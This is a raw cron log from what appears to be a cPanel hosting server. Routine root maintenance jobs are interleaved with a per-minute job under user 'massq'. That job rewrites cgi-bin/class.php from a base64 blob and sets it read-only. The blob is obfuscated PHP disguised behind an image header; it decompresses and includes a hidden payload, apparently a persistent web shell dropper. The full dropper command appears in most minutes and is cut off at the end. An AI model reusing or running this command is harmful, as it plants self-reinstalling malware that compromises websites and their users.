base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:29:01 server CROND[24227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:29:01 server CROND[24228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:29:01 server CROND[24229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:30:01 server CROND[24636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:30:01 server CROND[24637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:30:01 server CROND[24639]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:30:01 server CROND[24640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:30:01 server CROND[24638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:30:01 server CROND[24642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:30:01 server CROND[24643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:30:01 server CROND[24641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:31:01 server CROND[25584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:31:01 server CROND[25586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:31:01 server CROND[25585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:32:01 server CROND[25974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:32:01 server CROND[25975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:32:01 server CROND[25976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:33:01 server CROND[26366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:33:01 server CROND[26367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:33:01 server CROND[26368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:34:02 server CROND[26742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:34:02 server CROND[26743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:34:02 server CROND[26744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:35:01 server CROND[27136]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:35:01 server CROND[27138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:35:01 server CROND[27148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:35:01 server CROND[27147]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 18:35:01 server CROND[27153]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:35:01 server CROND[27154]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 18:35:01 server CROND[27152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:35:01 server CROND[27150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:35:01 server CROND[27151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:36:01 server CROND[28088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:36:01 server CROND[28087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:36:01 server CROND[28089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:37:01 server CROND[28519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:37:01 server CROND[28520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:37:01 server CROND[28521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:38:01 server CROND[28903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:38:01 server CROND[28904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:38:01 server CROND[28906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:39:01 server CROND[29288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:39:01 server CROND[29287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:39:01 server CROND[29289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:39:01 server CROND[29290]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 18:40:01 server CROND[29688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:40:01 server CROND[29691]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:40:01 server CROND[29696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:40:01 server CROND[29695]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:40:01 server CROND[29693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:40:01 server CROND[29699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:40:01 server CROND[29697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwx